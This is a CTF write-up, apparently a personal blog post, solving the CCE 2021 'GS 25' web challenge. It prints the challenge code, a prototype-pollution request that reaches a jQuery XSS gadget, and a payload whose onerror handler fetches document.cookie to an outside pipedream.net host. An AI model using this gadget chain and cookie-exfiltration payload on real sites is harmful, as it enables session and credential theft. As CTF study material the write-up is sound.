On the 25th, there was a CCE held by the National Intelligence Service, and at 11:10 pm, a few tens of minutes before the end of the competition, someone I knew asked me to solve it, so I tried to solve the GS 25 problem for a while, and it was very easy.

The Prototype Pollution vulnerability was also a bit difficult when I first studied it, but now it is one of the easy vulnerabilities.


GS 25 [2** pts]

This GS 25 challenge is to pollute Jquery gadget with Prototype Pollution to trigger XSS.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
~/Exploit/ctf/2021/CCE 2021 main*
❯ tree for_user
for_user
└── for_user
├── docker
│ ├── Dockerfile
│ └── src
│ ├── app.js
│ ├── package.json
│ ├── route
│ │ └── index.js
│ ├── run.sh
│ ├── static
│ │ ├── css
│ │ │ ├── free-v4-font-face.min.css
│ │ │ ├── free-v4-shims.min.css
│ │ │ ├── free.min.css
│ │ │ ├── main.css
│ │ │ ├── tetris.css
│ │ │ └── theme.css
│ │ ├── js
│ │ │ ├── axios.min.js
│ │ │ ├── axios.min.map
│ │ │ ├── bootstrap.min.js
│ │ │ ├── bootstrap.min.js.map
│ │ │ ├── fontawesome.js
│ │ │ ├── game
│ │ │ │ ├── piece.js
│ │ │ │ ├── tetris.js
│ │ │ │ └── tetrominoes.js
│ │ │ ├── index.js
│ │ │ ├── jquery-3.3.1.slim.min.js
│ │ │ ├── popper.min.js
│ │ │ └── popper.min.js.map
│ │ └── texture.jpg
│ └── views
│ ├── component
│ │ ├── footer.ejs
│ │ ├── header.ejs
│ │ └── navbar.ejs
│ ├── game.ejs
│ ├── index.ejs
│ └── login.ejs
├── docker-compose.yml
└── robot
├── Dockerfile
└── src
├── app.js
├── package-lock.json
├── package.json
├── run.sh
└── views
└── index.ejs

13 directories, 37 files

~/Exploit/ctf/2021/CCE 2021 main*

The challenge code is given above. So many :(

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
const express = require('express')
const app = express()
// const __DIR = '/usr/src/app'
const __DIR = './'
const puppeteer = require('puppeteer')
const url = 'http://prob'

/* express */
app.set('views', __DIR + '/views')
app.set('view engine', 'ejs')
app.engine('html', require('ejs').renderFile)

app.use(express.json())
app.use(express.urlencoded({ extended: true }))

app.get('/', (req, res) => {
res.render('index')
})

app.post('/', async (req, res) => {
const { fileName, code } = req.body
const cookies = [{
'name': 'fileName',
'value': fileName
},
{
'name': 'flag',
'value': 'cce2021{EXAMPLE_FLAG}'
}
]

await (async () => {
const browser = await puppeteer.launch({ args: ['--no-sandbox', '--disable-setuid-sandbox'] })
const page = await browser.newPage()

page.on('dialog', async dialog => {
if(dialog.message() == 'Input your game data code') await dialog.accept(code)
else await dialog.dismiss()
})

await page.goto(url, {
waitUntil: 'networkidle2',
})

await page.setCookie(...cookies)

await page.click('#playBtn')

await page.keyboard.type('l')

await new Promise(resolve => setTimeout(resolve, 1000))

await browser.close()
})()

res.send("Done")
})

app.listen(80)

If you look at the conditions for obtaining the flag, you can steal the cookie of the admin bot, and you need to trigger XSS to steal it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
async function loadGame(){

const code = prompt('Input your game data code')
const req = await axios.post('/loadGame', { code })
const result = req.data

if (result.state !== 'ok') {
alert('error')
return
}

const data = req.data.data

function isObject(obj) {
return obj !== null && typeof obj === 'object'
}

function merge(a, b) {
for (let key in b) {
if (isObject(a[key]) && isObject(b[key])) {
merge(a[key], b[key])
} else {
a[key] = b[key]
}
}
return a
}

this.cGameInfo = new GameInfo()
merge(this.cGameInfo, data)
initScreen()
initPiecesMap(cGameInfo.panelRow, cGameInfo.panelColume)
initDisplayGamePanel(cGameInfo.panelColume, cGameInfo.panelRow)
initNextBlockInfo()
setNextPieces()
clearInterval(this.cGameInfo.dropIntervalId)
setDropInterval()
$(document).off('keydown')
document.addEventListener('keydown', keyboardEventHandler)
$(document).off('touchmove')
setControleButton()

this.cGameInfo.changeSpeedDisplay()
this.cGameInfo.updateScore(0)
}

While checking the source code, I found a function called loadGame() in tetris.js. The loadGame() function sends a request for a unique Code value to /loadGame to get game information (object) corresponding to the Code value, and uses the merge() function to overwrite the GameInfo object.

Also, since I’m using Jquery 3.3.1 on that issue, I decided to look for an XSS gadget, and pollute that gadget to trigger XSS.

1
2
3
$(document).off('keydown')
document.addEventListener('keydown', keyboardEventHandler)
$(document).off('touchmove')

If you look closely at the loadGame() function, you can see that there is an XSS gadget inside.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
async function keyboardEventHandler(e) {
//space 키 => c
if(e.keyCode == 67) {
cGameInfo.cPiece.moveEndDown();
//왼쪽 화살표 => a
} else if(e.keyCode == 65) {
cGameInfo.cPiece.moveLeft();
//위쪽 화살표 => w
} else if(e.keyCode == 87) {
cGameInfo.cPiece.rotate();
//오른쪽 화살표 => d
} else if(e.keyCode == 68) {
cGameInfo.cPiece.moveRight();
//아래 화살표 => s
} else if(e.keyCode == 83) {
cGameInfo.cPiece.moveDown();
//세이브 => p
} else if(e.keyCode == 80) {
await saveGame()
// 로드 => l
}else if(e.keyCode == 76) {
await loadGame()
}
}

The loadGame() function was not called automatically, but L, l had to be entered with the keyboard to execute it.

1
2
3
4
5
await page.click('#playBtn')

await page.keyboard.type('l')

await new Promise(resolve => setTimeout(resolve, 1000))

But, since the admin bot uses the keyboard method to input l, the admin bot also eventually executes the loadGame() function, so I thought that I could just try it.

1
2
3
4
5
6
7
8
9
POST /saveGame HTTP/1.1
Host: 20.194.62.226:4423
Content-Length: 198
Accept: application/json, text/plain, */* Chrome/92.0.4515.107 Safari/537.36
Content-Type: application/json;charset=UTF-8
Cookie: fileName=01f032bb-3210-4dd3-9555-078cfa75196d
Connection: close

{"data":{"__proto__":{"__proto__":{"preventDefault":"x", "handleObj":"x","delegateTarget":"<img/src/onerror=alert(1)>"}}}}

First, to check if XSS works well, I tried to execute the loadGame() function after saving the game as above.

As expected, I was able to confirm that the XSS trigger works well.

1
{"data":{"__proto__":{"__proto__":{"preventDefault":"x", "handleObj":"x","delegateTarget":"<img/src/onerror=fetch(`https://79a9bb50560aa2c77156e03b431dc2b3.m.pipedream.net/f=`+document.cookie)>"}}}}

The cookie stealing POC is as above.

  • Scenario
    • Save the PoC of Prototype Pollution in the /saveGame
    • Send the code number including the filename and PoC in the report logic.

Based on the above scenario, i were able to steal the flag by trying the exploit.

1
FLAG : cce2021{5cd5185ef46ce86f6c33543f75752a559fa843ec91a1176144f1a15d468f318d}